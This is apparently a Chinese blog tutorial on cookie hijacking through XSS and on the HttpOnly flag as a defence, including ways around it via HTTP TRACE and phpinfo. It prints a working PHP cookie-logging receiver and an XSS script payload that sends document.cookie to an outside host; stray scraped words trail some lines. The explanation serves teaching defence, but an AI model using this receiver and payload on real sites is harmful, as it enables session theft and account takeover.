在介紹HttpOnly以前,我想跟你們聊聊Cookie及XSS。php
隨着B/S的普及,咱們平時上網都是依賴於http協議完成,而Http是無狀態的,即同一個會話的連續兩個請求互相不瞭解,他們由最新實例化的環境進行解析,除了應用自己可能已經存儲在全局對象中的全部信息外,該環境不保存與會話有關的任何信息,http是不會爲了下一次鏈接而維護此次鏈接所傳輸的信息的。因此爲了在每次會話之間傳遞信息,就須要用到cookie和session,不管是什麼,都是爲了讓服務器端得到一個token來檢查合法性,不少時候都是在cookie中存儲一個sessionID,服務器來識別該用戶,那麼安全隱患也就引伸而出了,只要得到這個cookie,就能夠取得別人的身份,特別是管理員等高級權限賬號時,危害就大了,而XSS就是在別人的應用程序中惡意執行一段JS以竊取用戶的cookie。web
那麼如何得到Cookie劫持呢?在瀏覽器中的document對象中,就儲存了Cookie的信息,而利用js能夠把這裏面的Cookie給取出來,只要獲得這個Cookie就能夠擁有別人的身份了。下面簡單說說如何竊取cookie。ajax
接收cookie的PHP文件ck.php爲:瀏覽器
<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$time=date("j F, Y, g:i a");
$referer=getenv ('HTTP_REFERER');
$fp = fopen('cookie.txt', 'a');
fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: ' .$time. '<br> Referer: '.$referer.'<br><br><br>');
fclose($fp);
?>安全
把這個文件放在本身的服務器上,好比咱們搭建的服務器爲:http://10.65.21.78:8080 .服務器
那麼構造XSS語句:cookie
<script>window.open('http://10.65.21.78:8080/ck.php?c='+document.cookie)</script>session
當執行script成功時就會把cookie發送到本身的服務器下cookie.txt文件中。XSS攻擊是多麼可怕的事情。dom
說了這麼多,貌似尚未提到HttpOnly,這是哪般?莫及!這就到了!如何保障咱們的Cookie安全呢?Cookie都是經過document對象獲取的,咱們若是能讓cookie在瀏覽器中不可見就能夠了,那HttpOnly就是在設置cookie時接受這樣一個參數,一旦被設置,在瀏覽器的document對象中就看不到cookie了。而瀏覽器在瀏覽網頁的時候不受任何影響,由於Cookie會被放在瀏覽器頭中發送出去(包括Ajax的時候),應用程序也通常不會在JS裏操做這些敏感Cookie的,對於一些敏感的Cookie咱們採用HttpOnly,對於一些須要在應用程序中用JS操做的cookie咱們就不予設置,這樣就保障了Cookie信息的安全也保證了應用。socket
給瀏覽器設置Cookie的頭以下:
Set-Cookie: =[; =]
[; expires=][; domain=]
[; path=][; secure][; HttpOnly]
若是 Cookie 具備 HttpOnly 特性且不能經過客戶端腳本訪問,則爲 true;不然爲 false。默認值爲 false。
可是,也能夠看到HttpOnly並非萬能的,首先它並不能解決XSS的問題,仍然不能抵制一些有耐心的黑客的攻擊,甚至一些基於XSS的proxy也出現了,可是已經能夠提升攻擊的門檻了,起碼XSS攻擊不是每一個腳本小子都能完成的了,並且其餘的那些攻擊手法由於一些環境和技術的限制,並不像Cookie竊取這種手法同樣通用。
HttpOnly也是可能利用一些漏洞或者配置Bypass的,關鍵問題是隻要能取到瀏覽器發送的Cookie頭就能夠了。譬如之前出現的Http Trace攻擊就能夠將你的Header裏的Cookie回顯出來,利用Ajax或者flash就能夠完成這種攻擊,這種手法也已經在Ajax和flash中得到修補。另一個關於配置或者應用程序上可能Bypass的顯著例子就是phpinfo,你們知道phpinfo會將瀏覽器發送的http頭回顯出來,其中就包括咱們保護的auth信息,而這個頁面常常存在在各類站點上,只要用ajax取phpinfo頁面,取出header頭對應的部分就能夠得到Cookie了。一些應用程序的不完善也可能致使header頭的泄露,這種攻擊方式對於基本驗證保護的頁面同樣能夠攻擊。
HttpOnly在IE 6以上,Firefox較新版本都獲得了比較好的支持,而且在如Hotmail等應用程序裏都有普遍的使用,而且已是取得了比較好的安全效果。
那問題就來了,你們想一想,HttpOnly 主要是爲了限制web頁面程序的browser端script程序讀取cookie, 實際是瀏覽器經過協議實現限制的,黑客可不會那麼傻,確定不會用HTTP協議來讀取cookie,確定是在socket層面寫抓包程序,至關於寫一個低於IE6版本的應用程序。
因此,HttpOnly並非萬能的。